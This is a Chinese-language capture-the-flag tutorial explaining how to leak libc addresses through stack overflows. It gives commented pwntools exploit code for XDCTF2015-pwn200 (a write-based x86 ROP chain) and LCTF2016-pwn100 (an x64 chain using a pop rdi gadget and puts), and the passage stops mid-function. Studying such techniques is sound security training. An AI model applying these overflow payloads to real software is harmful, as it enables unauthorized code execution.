用DynELF模块和通用gadget实现libc通杀(详细注释)
泄露libc版本方式
主要原理:利用栈溢出等写入栈的手段调用write或者puts函数,并控制write或puts函数参数泄露libc函数真实地址
- write函数特点:可以控制大小,但是在64位程序中需要使用gadget进行寄存器传参,有时可能碰不到合适gadget
- puts函数特点:不可控制输出大小,但是所需参数少,常见,使用灵活。
x86版本
由于x86程序直接使用栈传参,所以可以直接通过构造栈控制函数调用参数
以XDCTF2015-pwn200为例
def leak(address):
payload = "A" * 112 # 栈大小
payload += p32(writeplt) # write函数plt表地址地址
payload += p32(vulnaddress) # 返回地址,持续控制
payload += p32(1) # write标准输出
payload += p32(address) # 目的输出
payload += p32(4) # 长度
p.send(payload)
data = p.recv(4) # recv长度4字节
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
x64版本
x64程序先使用寄存器传参,当参数不多于6个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
以LCTF2016-pwn100为例
由于在程序中没有找到write函数的调用,所以只能使用puts函数进行泄露
def leak(address):
count = 0
data = ''
payload = "A" * 64 + "A" * 8 # 填充垃圾数据
payload += p64(poprdi) + p64(address) # 目标地址,需要先把地址pop到rdi中
payload += p64(putsplt) # 调用puts
payload += p64(startaddress) # 因为puts函数会一直输出,直到遇到栈中的截断字符,所以为了保证栈的平衡,所以返回到start
payload = payload.ljust(200, "B")
p.send(payload)
print p.recvuntil('bye~n')
up = ""
# 为了接收到puts函数输出的所有字符,逐字符的接收拼接字符串,因为不知道puts函数以什么字符结束输出,所以引入超时机制
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == 'n'